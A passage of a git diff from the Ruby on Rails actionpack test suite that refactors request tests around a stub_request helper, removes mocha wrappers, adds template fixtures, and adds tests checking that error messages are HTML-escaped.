- @request.env['PATH_INFO'] = "/path/of/some/uri?mapped=1"
- @request.env['SCRIPT_NAME'] = "/path/dispatch.rb"
- @request.set_REQUEST_URI nil
- assert_equal "/path/of/some/uri?mapped=1", @request.request_uri
- assert_equal "/of/some/uri", @request.path
+ request = stub_request 'PATH_INFO' => "/path/of/some/uri?mapped=1",
+ 'SCRIPT_NAME' => "/path/dispatch.rb",
+ 'REQUEST_URI' => nil
+ assert_equal "/path/of/some/uri?mapped=1", request.request_uri
+ assert_equal "/of/some/uri", request.path
ActionController::Base.relative_url_root = nil
- @request.env['PATH_INFO'] = "/path/of/some/uri"
- @request.env['SCRIPT_NAME'] = nil
- @request.set_REQUEST_URI nil
- assert_equal "/path/of/some/uri", @request.request_uri
- assert_equal "/path/of/some/uri", @request.path
+ request = stub_request 'PATH_INFO' => "/path/of/some/uri",
+ 'SCRIPT_NAME' => nil,
+ 'REQUEST_URI' => nil
+ assert_equal "/path/of/some/uri", request.request_uri
+ assert_equal "/path/of/some/uri", request.path
- @request.env['PATH_INFO'] = "/"
- @request.set_REQUEST_URI nil
- assert_equal "/", @request.request_uri
- assert_equal "/", @request.path
+ request = stub_request 'PATH_INFO' => '/', 'REQUEST_URI' => nil
+ assert_equal "/", request.request_uri
+ assert_equal "/", request.path
- @request.env['PATH_INFO'] = "/?m=b"
- @request.set_REQUEST_URI nil
- assert_equal "/?m=b", @request.request_uri
- assert_equal "/", @request.path
+ request = stub_request 'PATH_INFO' => '/?m=b', 'REQUEST_URI' => nil
+ assert_equal "/?m=b", request.request_uri
+ assert_equal "/", request.path
- @request.env['PATH_INFO'] = "/"
- @request.env['SCRIPT_NAME'] = "/dispatch.cgi"
- @request.set_REQUEST_URI nil
- assert_equal "/", @request.request_uri
- assert_equal "/", @request.path
+ request = stub_request 'PATH_INFO' => "/",
+ 'SCRIPT_NAME' => "/dispatch.cgi",
+ 'REQUEST_URI' => nil
+ assert_equal "/", request.request_uri
+ assert_equal "/", request.path
ActionController::Base.relative_url_root = '/hieraki'
- @request.env['PATH_INFO'] = "/hieraki/"
- @request.env['SCRIPT_NAME'] = "/hieraki/dispatch.cgi"
- @request.set_REQUEST_URI nil
- assert_equal "/hieraki/", @request.request_uri
- assert_equal "/", @request.path
+ request = stub_request 'PATH_INFO' => "/hieraki/",
+ 'SCRIPT_NAME' => "/hieraki/dispatch.cgi",
+ 'REQUEST_URI' => nil
+ assert_equal "/hieraki/", request.request_uri
+ assert_equal "/", request.path
ActionController::Base.relative_url_root = nil
- @request.set_REQUEST_URI '/hieraki/dispatch.cgi'
+ request = stub_request 'REQUEST_URI' => '/hieraki/dispatch.cgi'
ActionController::Base.relative_url_root = '/hieraki'
- assert_equal "/dispatch.cgi", @request.path
+ assert_equal "/dispatch.cgi", request.path
ActionController::Base.relative_url_root = nil
- @request.set_REQUEST_URI '/hieraki/dispatch.cgi'
+ request = stub_request 'REQUEST_URI' => '/hieraki/dispatch.cgi'
ActionController::Base.relative_url_root = '/foo'
- assert_equal "/hieraki/dispatch.cgi", @request.path
+ assert_equal "/hieraki/dispatch.cgi", request.path
ActionController::Base.relative_url_root = nil
# This test ensures that Rails uses REQUEST_URI over PATH_INFO
ActionController::Base.relative_url_root = nil
- @request.env['REQUEST_URI'] = "/some/path"
- @request.env['PATH_INFO'] = "/another/path"
- @request.env['SCRIPT_NAME'] = "/dispatch.cgi"
- assert_equal "/some/path", @request.request_uri
- assert_equal "/some/path", @request.path
+ request = stub_request 'REQUEST_URI' => "/some/path",
+ 'PATH_INFO' => "/another/path",
+ 'SCRIPT_NAME' => "/dispatch.cgi"
+ assert_equal "/some/path", request.request_uri
+ assert_equal "/some/path", request.path
end
+
test "host with default port" do
- @request.host = "rubyonrails.org"
- @request.port = 80
- assert_equal "rubyonrails.org", @request.host_with_port
+ request = stub_request 'HTTP_HOST' => 'rubyonrails.org:80'
+ assert_equal "rubyonrails.org", request.host_with_port
end
test "host with non default port" do
- @request.host = "rubyonrails.org"
- @request.port = 81
- assert_equal "rubyonrails.org:81", @request.host_with_port
+ request = stub_request 'HTTP_HOST' => 'rubyonrails.org:81'
+ assert_equal "rubyonrails.org:81", request.host_with_port
end
test "server software" do
- assert_equal nil, @request.server_software
+ request = stub_request
+ assert_equal nil, request.server_software
- @request.env['SERVER_SOFTWARE'] = 'Apache3.422'
- assert_equal 'apache', @request.server_software
+ request = stub_request 'SERVER_SOFTWARE' => 'Apache3.422'
+ assert_equal 'apache', request.server_software
- @request.env['SERVER_SOFTWARE'] = 'lighttpd(1.1.4)'
- assert_equal 'lighttpd', @request.server_software
+ request = stub_request 'SERVER_SOFTWARE' => 'lighttpd(1.1.4)'
+ assert_equal 'lighttpd', request.server_software
end
test "xml http request" do
- assert !@request.xml_http_request?
- assert !@request.xhr?
+ request = stub_request
+
+ assert !request.xml_http_request?
+ assert !request.xhr?
- @request.env['HTTP_X_REQUESTED_WITH'] = "DefinitelyNotAjax1.0"
- assert !@request.xml_http_request?
- assert !@request.xhr?
+ request = stub_request 'HTTP_X_REQUESTED_WITH' => 'DefinitelyNotAjax1.0'
+ assert !request.xml_http_request?
+ assert !request.xhr?
- @request.env['HTTP_X_REQUESTED_WITH'] = "XMLHttpRequest"
- assert @request.xml_http_request?
- assert @request.xhr?
+ request = stub_request 'HTTP_X_REQUESTED_WITH' => 'XMLHttpRequest'
+ assert request.xml_http_request?
+ assert request.xhr?
end
test "reports ssl" do
- assert !@request.ssl?
- @request.env['HTTPS'] = 'on'
- assert @request.ssl?
+ request = stub_request
+ assert !request.ssl?
+
+ request = stub_request 'HTTPS' => 'on'
+ assert request.ssl?
end
test "reports ssl when proxied via lighttpd" do
- assert !@request.ssl?
- @request.env['HTTP_X_FORWARDED_PROTO'] = 'https'
- assert @request.ssl?
+ request = stub_request
+ assert !request.ssl?
+
+ request = stub_request 'HTTP_X_FORWARDED_PROTO' => 'https'
+ assert request.ssl?
end
test "symbolized request methods" do
[:get, :post, :put, :delete].each do |method|
- self.request_method = method
- assert_equal method, @request.method
+ request = stub_request 'REQUEST_METHOD' => method.to_s.upcase
+ assert_equal method, request.method
end
end
test "invalid http method raises exception" do
- assert_raises(ActionController::UnknownHttpMethod) do
- self.request_method = :random_method
- @request.request_method
+ assert_raise(ActionController::UnknownHttpMethod) do
+ request = stub_request 'REQUEST_METHOD' => 'RANDOM_METHOD'
+ request.request_method
end
end
test "allow method hacking on post" do
[:get, :head, :options, :put, :post, :delete].each do |method|
- self.request_method = method
- assert_equal(method == :head ? :get : method, @request.method)
+ request = stub_request "REQUEST_METHOD" => method.to_s.upcase
+ assert_equal(method == :head ? :get : method, request.method)
end
end
test "invalid method hacking on post raises exception" do
- assert_raises(ActionController::UnknownHttpMethod) do
- self.request_method = :_random_method
- @request.request_method
+ assert_raise(ActionController::UnknownHttpMethod) do
+ request = stub_request "REQUEST_METHOD" => "_RANDOM_METHOD"
+ request.request_method
end
end
test "restrict method hacking" do
- @request.instance_eval { @parameters = { :_method => 'put' } }
[:get, :put, :delete].each do |method|
- self.request_method = method
- assert_equal method, @request.method
+ request = stub_request 'REQUEST_METHOD' => method.to_s.upcase,
+ 'action_controller.request.request_parameters' => { :_method => 'put' }
+ assert_equal method, request.method
end
end
test "head masquerading as get" do
- self.request_method = :head
- assert_equal :get, @request.method
- assert @request.get?
- assert @request.head?
+ request = stub_request 'REQUEST_METHOD' => 'HEAD'
+ assert_equal :get, request.method
+ assert request.get?
+ assert request.head?
end
test "xml format" do
- @request.instance_eval { @parameters = { :format => 'xml' } }
- assert_equal Mime::XML, @request.format
+ request = stub_request
+ request.expects(:parameters).at_least_once.returns({ :format => 'xml' })
+ assert_equal Mime::XML, request.format
end
test "xhtml format" do
- @request.instance_eval { @parameters = { :format => 'xhtml' } }
- assert_equal Mime::HTML, @request.format
+ request = stub_request
+ request.expects(:parameters).at_least_once.returns({ :format => 'xhtml' })
+ assert_equal Mime::HTML, request.format
end
test "txt format" do
- @request.instance_eval { @parameters = { :format => 'txt' } }
- assert_equal Mime::TEXT, @request.format
+ request = stub_request
+ request.expects(:parameters).at_least_once.returns({ :format => 'txt' })
+ assert_equal Mime::TEXT, request.format
end
- test "nil format" do
+ test "XMLHttpRequest" do
begin
ActionController::Base.use_accept_header, old =
false, ActionController::Base.use_accept_header
- @request.instance_eval { @parameters = {} }
- @request.env["HTTP_X_REQUESTED_WITH"] = "XMLHttpRequest"
- assert @request.xhr?
- assert_equal Mime::JS, @request.format
-
+ request = stub_request 'HTTP_X_REQUESTED_WITH' => 'XMLHttpRequest'
+ request.expects(:parameters).at_least_once.returns({})
+ assert request.xhr?
+ assert_equal Mime::JS, request.format
ensure
ActionController::Base.use_accept_header = old
end
end
test "content type" do
- @request.env["CONTENT_TYPE"] = "text/html"
- assert_equal Mime::HTML, @request.content_type
+ request = stub_request 'CONTENT_TYPE' => 'text/html'
+ assert_equal Mime::HTML, request.content_type
end
- test "format assignment should set format" do
- @request.instance_eval { self.format = :txt }
- assert !@request.format.xml?
- @request.instance_eval { self.format = :xml }
- assert @request.format.xml?
+ test "can override format with parameter" do
+ request = stub_request
+ request.expects(:parameters).at_least_once.returns({ :format => :txt })
+ assert !request.format.xml?
+
+ request = stub_request
+ request.expects(:parameters).at_least_once.returns({ :format => :xml })
+ assert request.format.xml?
end
- test "content no type" do
- assert_equal nil, @request.content_type
+ test "no content type" do
+ request = stub_request
+ assert_equal nil, request.content_type
end
- test "content type xml" do
- @request.env["CONTENT_TYPE"] = "application/xml"
- assert_equal Mime::XML, @request.content_type
+ test "content type is XML" do
+ request = stub_request 'CONTENT_TYPE' => 'application/xml'
+ assert_equal Mime::XML, request.content_type
end
test "content type with charset" do
- @request.env["CONTENT_TYPE"] = "application/xml; charset=UTF-8"
- assert_equal Mime::XML, @request.content_type
+ request = stub_request 'CONTENT_TYPE' => 'application/xml; charset=UTF-8'
+ assert_equal Mime::XML, request.content_type
end
test "user agent" do
- assert_not_nil @request.user_agent
+ request = stub_request 'HTTP_USER_AGENT' => 'TestAgent'
+ assert_equal 'TestAgent', request.user_agent
end
test "parameters" do
- @request.stubs(:request_parameters).returns({ "foo" => 1 })
- @request.stubs(:query_parameters).returns({ "bar" => 2 })
+ request = stub_request
+ request.stubs(:request_parameters).returns({ "foo" => 1 })
+ request.stubs(:query_parameters).returns({ "bar" => 2 })
- assert_equal({"foo" => 1, "bar" => 2}, @request.parameters)
- assert_equal({"foo" => 1}, @request.request_parameters)
- assert_equal({"bar" => 2}, @request.query_parameters)
+ assert_equal({"foo" => 1, "bar" => 2}, request.parameters)
+ assert_equal({"foo" => 1}, request.request_parameters)
+ assert_equal({"bar" => 2}, request.query_parameters)
+ end
+
+protected
+
+ def stub_request(env={})
+ ActionDispatch::Request.new(env)
end
- protected
- def request_method=(method)
- @request.env['REQUEST_METHOD'] = method.to_s.upcase
- @request.request_method = nil # Reset the ivar cache
- end
end
diff --git a/actionpack/test/fixtures/layout_tests/alt/layouts/alt.rhtml b/actionpack/test/fixtures/layout_tests/alt/layouts/alt.rhtml
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/actionpack/test/fixtures/layout_tests/alt/layouts/alt.rhtml
diff --git a/actionpack/test/fixtures/layouts/xhr.html.erb b/actionpack/test/fixtures/layouts/xhr.html.erb
new file mode 100644
index 0000000000..85285324ec
--- /dev/null
+++ b/actionpack/test/fixtures/layouts/xhr.html.erb
@@ -0,0 +1,2 @@
+XHR!
+<%= yield %> \ No newline at end of file
diff --git a/actionpack/test/fixtures/public/500.da.html b/actionpack/test/fixtures/public/500.da.html
new file mode 100644
index 0000000000..a497c13656
--- /dev/null
+++ b/actionpack/test/fixtures/public/500.da.html
@@ -0,0 +1 @@
+500 localized error fixture
diff --git a/actionpack/test/fixtures/quiz/questions/_question.html.erb b/actionpack/test/fixtures/quiz/questions/_question.html.erb
new file mode 100644
index 0000000000..fb4dcfee64
--- /dev/null
+++ b/actionpack/test/fixtures/quiz/questions/_question.html.erb
@@ -0,0 +1 @@
+<%= question.name %> \ No newline at end of file
diff --git a/actionpack/test/fixtures/test/hello_world.erb~ b/actionpack/test/fixtures/test/hello_world.erb~
new file mode 100644
index 0000000000..21934a1c95
--- /dev/null
+++ b/actionpack/test/fixtures/test/hello_world.erb~
@@ -0,0 +1 @@
+Don't pick me! \ No newline at end of file
diff --git a/actionpack/test/fixtures/test/hello_world.pt-BR.html.erb b/actionpack/test/fixtures/test/hello_world.pt-BR.html.erb
new file mode 100644
index 0000000000..773b3c8c6e
--- /dev/null
+++ b/actionpack/test/fixtures/test/hello_world.pt-BR.html.erb
@@ -0,0 +1 @@
+Ola mundo \ No newline at end of file
diff --git a/actionpack/test/fixtures/test/malformed/malformed.en.html.erb~ b/actionpack/test/fixtures/test/malformed/malformed.en.html.erb~
new file mode 100644
index 0000000000..d009950384
--- /dev/null
+++ b/actionpack/test/fixtures/test/malformed/malformed.en.html.erb~
@@ -0,0 +1 @@
+Don't render me! \ No newline at end of file
diff --git a/actionpack/test/fixtures/test/malformed/malformed.erb~ b/actionpack/test/fixtures/test/malformed/malformed.erb~
new file mode 100644
index 0000000000..d009950384
--- /dev/null
+++ b/actionpack/test/fixtures/test/malformed/malformed.erb~
@@ -0,0 +1 @@
+Don't render me! \ No newline at end of file
diff --git a/actionpack/test/fixtures/test/malformed/malformed.html.erb~ b/actionpack/test/fixtures/test/malformed/malformed.html.erb~
new file mode 100644
index 0000000000..d009950384
--- /dev/null
+++ b/actionpack/test/fixtures/test/malformed/malformed.html.erb~
@@ -0,0 +1 @@
+Don't render me! \ No newline at end of file
diff --git a/actionpack/test/fixtures/test/render_implicit_html_template_from_xhr_request.da.html.erb b/actionpack/test/fixtures/test/render_implicit_html_template_from_xhr_request.da.html.erb
new file mode 100644
index 0000000000..0740b2d07c
--- /dev/null
+++ b/actionpack/test/fixtures/test/render_implicit_html_template_from_xhr_request.da.html.erb
@@ -0,0 +1 @@
+Hey HTML!
diff --git a/actionpack/test/fixtures/test/utf8.html.erb b/actionpack/test/fixtures/test/utf8.html.erb
new file mode 100644
index 0000000000..0b4d19aa0e
--- /dev/null
+++ b/actionpack/test/fixtures/test/utf8.html.erb
@@ -0,0 +1,2 @@
+Русский текст
+日本語のテキスト \ No newline at end of file
diff --git a/actionpack/test/template/active_record_helper_i18n_test.rb b/actionpack/test/template/active_record_helper_i18n_test.rb
index 7e6bf70706..9d04c882c8 100644
--- a/actionpack/test/template/active_record_helper_i18n_test.rb
+++ b/actionpack/test/template/active_record_helper_i18n_test.rb
@@ -4,43 +4,44 @@ class ActiveRecordHelperI18nTest < Test::Unit::TestCase
include ActionView::Helpers::ActiveRecordHelper
attr_reader :request
- uses_mocha 'active_record_helper_i18n_test' do
- def setup
- @object = stub :errors => stub(:count => 1, :full_messages => ['full_messages'])
- @object_name = 'book'
- stubs(:content_tag).returns 'content_tag'
-
- I18n.stubs(:t).with(:'header', :locale => 'en', :scope => [:activerecord, :errors, :template], :count => 1, :model => '').returns "1 error prohibited this from being saved"
- I18n.stubs(:t).with(:'body', :locale => 'en', :scope => [:activerecord, :errors, :template]).returns 'There were problems with the following fields:'
- end
-
- def test_error_messages_for_given_a_header_option_it_does_not_translate_header_message
- I18n.expects(:translate).with(:'header', :locale => 'en', :scope => [:activerecord, :errors, :template], :count => 1, :model => '').never
- error_messages_for(:object => @object, :header_message => 'header message', :locale => 'en')
- end
-
- def test_error_messages_for_given_no_header_option_it_translates_header_message
- I18n.expects(:t).with(:'header', :locale => 'en', :scope => [:activerecord, :errors, :template], :count => 1, :model => '').returns 'header message'
- I18n.expects(:t).with('', :default => '', :count => 1, :scope => [:activerecord, :models]).once.returns ''
- error_messages_for(:object => @object, :locale => 'en')
- end
-
- def test_error_messages_for_given_a_message_option_it_does_not_translate_message
- I18n.expects(:t).with(:'body', :locale => 'en', :scope => [:activerecord, :errors, :template]).never
- I18n.expects(:t).with('', :default => '', :count => 1, :scope => [:activerecord, :models]).once.returns ''
- error_messages_for(:object => @object, :message => 'message', :locale => 'en')
- end
-
- def test_error_messages_for_given_no_message_option_it_translates_message
- I18n.expects(:t).with(:'body', :locale => 'en', :scope => [:activerecord, :errors, :template]).returns 'There were problems with the following fields:'
- I18n.expects(:t).with('', :default => '', :count => 1, :scope => [:activerecord, :models]).once.returns ''
- error_messages_for(:object => @object, :locale => 'en')
- end
-
- def test_error_messages_for_given_object_name_it_translates_object_name
- I18n.expects(:t).with(:header, :locale => 'en', :scope => [:activerecord, :errors, :template], :count => 1, :model => @object_name).returns "1 error prohibited this #{@object_name} from being saved"
- I18n.expects(:t).with(@object_name, :default => @object_name, :count => 1, :scope => [:activerecord, :models]).once.returns @object_name
- error_messages_for(:object => @object, :locale => 'en', :object_name => @object_name)
- end
+
+ def setup
+ @object = stub :errors => stub(:count => 1, :full_messages => ['full_messages'])
+ @object_name = 'book_seller'
+ @object_name_without_underscore = 'book seller'
+
+ stubs(:content_tag).returns 'content_tag'
+
+ I18n.stubs(:t).with(:'header', :locale => 'en', :scope => [:activerecord, :errors, :template], :count => 1, :model => '').returns "1 error prohibited this from being saved"
+ I18n.stubs(:t).with(:'body', :locale => 'en', :scope => [:activerecord, :errors, :template]).returns 'There were problems with the following fields:'
+ end
+
+ def test_error_messages_for_given_a_header_option_it_does_not_translate_header_message
+ I18n.expects(:translate).with(:'header', :locale => 'en', :scope => [:activerecord, :errors, :template], :count => 1, :model => '').never
+ error_messages_for(:object => @object, :header_message => 'header message', :locale => 'en')
+ end
+
+ def test_error_messages_for_given_no_header_option_it_translates_header_message
+ I18n.expects(:t).with(:'header', :locale => 'en', :scope => [:activerecord, :errors, :template], :count => 1, :model => '').returns 'header message'
+ I18n.expects(:t).with('', :default => '', :count => 1, :scope => [:activerecord, :models]).once.returns ''
+ error_messages_for(:object => @object, :locale => 'en')
+ end
+
+ def test_error_messages_for_given_a_message_option_it_does_not_translate_message
+ I18n.expects(:t).with(:'body', :locale => 'en', :scope => [:activerecord, :errors, :template]).never
+ I18n.expects(:t).with('', :default => '', :count => 1, :scope => [:activerecord, :models]).once.returns ''
+ error_messages_for(:object => @object, :message => 'message', :locale => 'en')
+ end
+
+ def test_error_messages_for_given_no_message_option_it_translates_message
+ I18n.expects(:t).with(:'body', :locale => 'en', :scope => [:activerecord, :errors, :template]).returns 'There were problems with the following fields:'
+ I18n.expects(:t).with('', :default => '', :count => 1, :scope => [:activerecord, :models]).once.returns ''
+ error_messages_for(:object => @object, :locale => 'en')
+ end
+
+ def test_error_messages_for_given_object_name_it_translates_object_name
+ I18n.expects(:t).with(:header, :locale => 'en', :scope => [:activerecord, :errors, :template], :count => 1, :model => @object_name_without_underscore).returns "1 error prohibited this #{@object_name_without_underscore} from being saved"
+ I18n.expects(:t).with(@object_name, :default => @object_name_without_underscore, :count => 1, :scope => [:activerecord, :models]).once.returns @object_name_without_underscore
+ error_messages_for(:object => @object, :locale => 'en', :object_name => @object_name)
end
end
diff --git a/actionpack/test/template/active_record_helper_test.rb b/actionpack/test/template/active_record_helper_test.rb
index f03998231e..b4b8cbe074 100644
--- a/actionpack/test/template/active_record_helper_test.rb
+++ b/actionpack/test/template/active_record_helper_test.rb
@@ -19,6 +19,30 @@ class ActiveRecordHelperTest < ActionView::TestCase
Column = Struct.new("Column", :type, :name, :human_name)
end
+ class DirtyPost
+ class Errors
+ def empty?
+ false
+ end
+
+ def count
+ 1
+ end
+
+ def full_messages
+ ["Author name can't be <em>empty</em>"]
+ end
+
+ def on(field)
+ "can't be <em>empty</em>"
+ end
+ end
+
+ def errors
+ Errors.new
+ end
+ end
+
def setup_post
@post = Post.new
def @post.errors
@@ -196,10 +220,20 @@ class ActiveRecordHelperTest < ActionView::TestCase
assert_equal %(<div class="errorDeathByClass"><h1>1 error prohibited this post from being saved</h1><p>There were problems with the following fields:</p><ul><li>Author name can't be empty</li></ul></div>), error_messages_for("post", :class => "errorDeathByClass", :id => nil, :header_tag => "h1")
end
+ def test_error_messages_for_escapes_html
+ @dirty_post = DirtyPost.new
+ assert_dom_equal %(<div class="errorExplanation" id="errorExplanation"><h2>1 error prohibited this dirty post from being saved</h2><p>There were problems with the following fields:</p><ul><li>Author name can't be &lt;em&gt;empty&lt;/em&gt;</li></ul></div>), error_messages_for("dirty_post")
+ end
+
def test_error_messages_for_handles_nil
assert_equal "", error_messages_for("notthere")
end
+ def test_error_message_on_escapes_html
+ @dirty_post = DirtyPost.new
+ assert_dom_equal "<div class=\"formError\">can't be &lt;em&gt;empty&lt;/em&gt;</div>", error_message_on(:dirty_post, :author_name)
+ end
+
def test_error_message_on_handles_nil
assert_equal "", error_message_on("notthere", "notthere")
end
diff --git a/actionpack/test/template/asset_tag_helper_test.rb b/actionpack/test/template/asset_tag_helper_test.rb
index 44eca55a0e..76ceff8d6c 100644
--- a/actionpack/test/template/asset_tag_helper_test.rb
+++ b/actionpack/test/template/asset_tag_helper_test.rb
@@ -229,20 +229,18 @@ class AssetTagHelperTest < ActionView::TestCase
ImageLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
end
- uses_mocha 'test image tag with windows behaviour' do
- def test_image_tag_windows_behaviour
- old_asset_id, ENV["RAILS_ASSET_ID"] = ENV["RAILS_ASSET_ID"], "1"
- # This simulates the behaviour of File#exist? on windows when testing a file ending in "."
- # If the file "rails.png" exists, windows will return true when asked if "rails.png." exists (notice trailing ".")
- # OS X, linux etc will return false in this case.
- File.stubs(:exist?).with('template/../fixtures/public/images/rails.png.').returns(true)
- assert_equal '<img alt="Rails" src="/images/rails.png?1" />', image_tag('rails.png')
- ensure
- if old_asset_id
- ENV["RAILS_ASSET_ID"] = old_asset_id
- else
- ENV.delete("RAILS_ASSET_ID")
- end
+ def test_image_tag_windows_behaviour
+ old_asset_id, ENV["RAILS_ASSET_ID"] = ENV["RAILS_ASSET_ID"], "1"
+ # This simulates the behaviour of File#exist? on windows when testing a file ending in "."
+ # If the file "rails.png" exists, windows will return true when asked if "rails.png." exists (notice trailing ".")
+ # OS X, linux etc will return false in this case.
+ File.stubs(:exist?).with('template/../fixtures/public/images/rails.png.').returns(true)
+ assert_equal '<img alt="Rails" src="/images/rails.png?1" />', image_tag('rails.png')
+ ensure
+ if old_asset_id
+ ENV["RAILS_ASSET_ID"] = old_asset_id
+ else
+ ENV.delete("RAILS_ASSET_ID")
end
end
diff --git a/actionpack/test/template/body_parts_test.rb b/actionpack/test/template/body_parts_test.rb
new file mode 100644
index 0000000000..4c82b75cdc
--- /dev/null
+++ b/actionpack/test/template/body_parts_test.rb
@@ -0,0 +1,22 @@
+require 'abstract_unit'
+
+class BodyPartsTest < ActionController::TestCase
+ RENDERINGS = [Object.new, Object.new, Object.new]
+
+ class TestController < ActionController::Base
+ def index
+ RENDERINGS.each do |rendering|
+ response.template.punctuate_body! rendering
+ end
+ @performed_render = true
+ end
+ end
+
+ tests TestController
+
+ def test_body_parts
+ get :index
+ assert_equal RENDERINGS, @response.body_parts
+ assert_equal RENDERINGS.join, @response.body
+ end
+end
diff --git a/actionpack/test/template/compiled_templates_test.rb b/actionpack/test/template/compiled_templates_test.rb
index caea1bd643..a7ed13cf57 100644
--- a/actionpack/test/template/compiled_templates_test.rb
+++ b/actionpack/test/template/compiled_templates_test.rb
@@ -1,87 +1,85 @@
require 'abstract_unit'
require 'controller/fake_models'
-uses_mocha 'TestTemplateRecompilation' do
- class CompiledTemplatesTest < Test::Unit::TestCase
- def setup
- @compiled_templates = ActionView::Base::CompiledTemplates
- @compiled_templates.instance_methods.each do |m|
- @compiled_templates.send(:remove_method, m) if m =~ /^_run_/
- end
+class CompiledTemplatesTest < Test::Unit::TestCase
+ def setup
+ @compiled_templates = ActionView::Base::CompiledTemplates
+ @compiled_templates.instance_methods.each do |m|
+ @compiled_templates.send(:remove_method, m) if m =~ /^_run_/
end
+ end
- def test_template_gets_compiled
- assert_equal 0, @compiled_templates.instance_methods.size
- assert_equal "Hello world!", render(:file => "test/hello_world.erb")
- assert_equal 1, @compiled_templates.instance_methods.size
- end
+ def test_template_gets_compiled
+ assert_equal 0, @compiled_templates.instance_methods.size
+ assert_equal "Hello world!", render(:file => "test/hello_world.erb")
+ assert_equal 1, @compiled_templates.instance_methods.size
+ end
- def test_template_gets_recompiled_when_using_different_keys_in_local_assigns
- assert_equal 0, @compiled_templates.instance_methods.size
- assert_equal "Hello world!", render(:file => "test/hello_world.erb")
- assert_equal "Hello world!", render(:file => "test/hello_world.erb", :locals => {:foo => "bar"})
- assert_equal 2, @compiled_templates.instance_methods.size
- end
+ def test_template_gets_recompiled_when_using_different_keys_in_local_assigns
+ assert_equal 0, @compiled_templates.instance_methods.size
+ assert_equal "Hello world!", render(:file => "test/hello_world.erb")
+ assert_equal "Hello world!", render(:file => "test/hello_world.erb", :locals => {:foo => "bar"})
+ assert_equal 2, @compiled_templates.instance_methods.size
+ end
- def test_compiled_template_will_not_be_recompiled_when_rendered_with_identical_local_assigns
- assert_equal 0, @compiled_templates.instance_methods.size
- assert_equal "Hello world!", render(:file => "test/hello_world.erb")
- ActionView::Template.any_instance.expects(:compile!).never
- assert_equal "Hello world!", render(:file => "test/hello_world.erb")
- end
+ def test_compiled_template_will_not_be_recompiled_when_rendered_with_identical_local_assigns
+ assert_equal 0, @compiled_templates.instance_methods.size
+ assert_equal "Hello world!", render(:file => "test/hello_world.erb")
+ ActionView::Template.any_instance.expects(:compile!).never
+ assert_equal "Hello world!", render(:file => "test/hello_world.erb")
+ end
- def test_compiled_template_will_always_be_recompiled_when_template_is_not_cached
- ActionView::Template.any_instance.expects(:recompile?).times(3).returns(true)
- assert_equal 0, @compiled_templates.instance_methods.size
- assert_equal "Hello world!", render(:file => "#{FIXTURE_LOAD_PATH}/test/hello_world.erb")
- ActionView::Template.any_instance.expects(:compile!).times(3)
- 3.times { assert_equal "Hello world!", render(:file => "#{FIXTURE_LOAD_PATH}/test/hello_world.erb") }
- assert_equal 1, @compiled_templates.instance_methods.size
- end
+ def test_compiled_template_will_always_be_recompiled_when_template_is_not_cached
+ ActionView::Template.any_instance.expects(:recompile?).times(3).returns(true)
+ assert_equal 0, @compiled_templates.instance_methods.size
+ assert_equal "Hello world!", render(:file => "#{FIXTURE_LOAD_PATH}/test/hello_world.erb")
+ ActionView::Template.any_instance.expects(:compile!).times(3)
+ 3.times { assert_equal "Hello world!", render(:file => "#{FIXTURE_LOAD_PATH}/test/hello_world.erb") }
+ assert_equal 1, @compiled_templates.instance_methods.size
+ end
- def test_template_changes_are_not_reflected_with_cached_templates
- assert_equal "Hello world!", render(:file => "test/hello_world.erb")
- modify_template "test/hello_world.erb", "Goodbye world!" do
- assert_equal "Hello world!", render(:file => "test/hello_world.erb")
- end
+ def test_template_changes_are_not_reflected_with_cached_templates
+ assert_equal "Hello world!", render(:file => "test/hello_world.erb")
+ modify_template "test/hello_world.erb", "Goodbye world!" do
assert_equal "Hello world!", render(:file => "test/hello_world.erb")
end
+ assert_equal "Hello world!", render(:file => "test/hello_world.erb")
+ end
- def test_template_changes_are_reflected_with_uncached_templates
- assert_equal "Hello world!", render_without_cache(:file => "test/hello_world.erb")
- modify_template "test/hello_world.erb", "Goodbye world!" do
- assert_equal "Goodbye world!", render_without_cache(:file => "test/hello_world.erb")
- end
- assert_equal "Hello world!", render_without_cache(:file => "test/hello_world.erb")
+ def test_template_changes_are_reflected_with_uncached_templates
+ assert_equal "Hello world!", render_without_cache(:file => "test/hello_world.erb")
+ modify_template "test/hello_world.erb", "Goodbye world!" do
+ assert_equal "Goodbye world!", render_without_cache(:file => "test/hello_world.erb")
end
+ assert_equal "Hello world!", render_without_cache(:file => "test/hello_world.erb")
+ end
- private
- def render(*args)
- render_with_cache(*args)
- end
+ private
+ def render(*args)
+ render_with_cache(*args)
+ end
- def render_with_cache(*args)
- view_paths = ActionController::Base.view_paths
- assert_equal ActionView::Template::EagerPath, view_paths.first.class
- ActionView::Base.new(view_paths, {}).render(*args)
- end
+ def render_with_cache(*args)
+ view_paths = ActionController::Base.view_paths
+ assert_equal ActionView::Template::EagerPath, view_paths.first.class
+ ActionView::Base.new(view_paths, {}).render(*args)
+ end
- def render_without_cache(*args)
- path = ActionView::Template::Path.new(FIXTURE_LOAD_PATH)
- view_paths = ActionView::Base.process_view_paths(path)
- assert_equal ActionView::Template::Path, view_paths.first.class
- ActionView::Base.new(view_paths, {}).render(*args)
- end
+ def render_without_cache(*args)
+ path = ActionView::Template::Path.new(FIXTURE_LOAD_PATH)
+ view_paths = ActionView::Base.process_view_paths(path)
+ assert_equal ActionView::Template::Path, view_paths.first.class
+ ActionView::Base.new(view_paths, {}).render(*args)
+ end
- def modify_template(template, content)
- filename = "#{FIXTURE_LOAD_PATH}/#{template}"
- old_content = File.read(filename)
- begin
- File.open(filename, "wb+") { |f| f.write(content) }
- yield
- ensure
- File.open(filename, "wb+") { |f| f.write(old_content) }
- end
+ def modify_template(template, content)
+ filename = "#{FIXTURE_LOAD_PATH}/#{template}"
+ old_content = File.read(filename)
+ begin
+ File.open(filename, "wb+") { |f| f.write(content) }
+ yield
+ ensure
+ File.open(filename, "wb+") { |f| f.write(old_content) }
end
- end
+ end
end
diff --git a/actionpack/test/template/date_helper_i18n_test.rb b/actionpack/test/template/date_helper_i18n_test.rb
index fac30da128..bc011f59b8 100644
--- a/actionpack/test/template/date_helper_i18n_test.rb
+++ b/actionpack/test/template/date_helper_i18n_test.rb
@@ -8,66 +8,64 @@ class DateHelperDistanceOfTimeInWordsI18nTests < Test::Unit::TestCase
@from = Time.mktime(2004, 6, 6, 21, 45, 0)
end
- uses_mocha 'date_helper_distance_of_time_in_words_i18n_test' do
- # distance_of_time_in_words
-
- def test_distance_of_time_in_words_calls_i18n
- { # with include_seconds
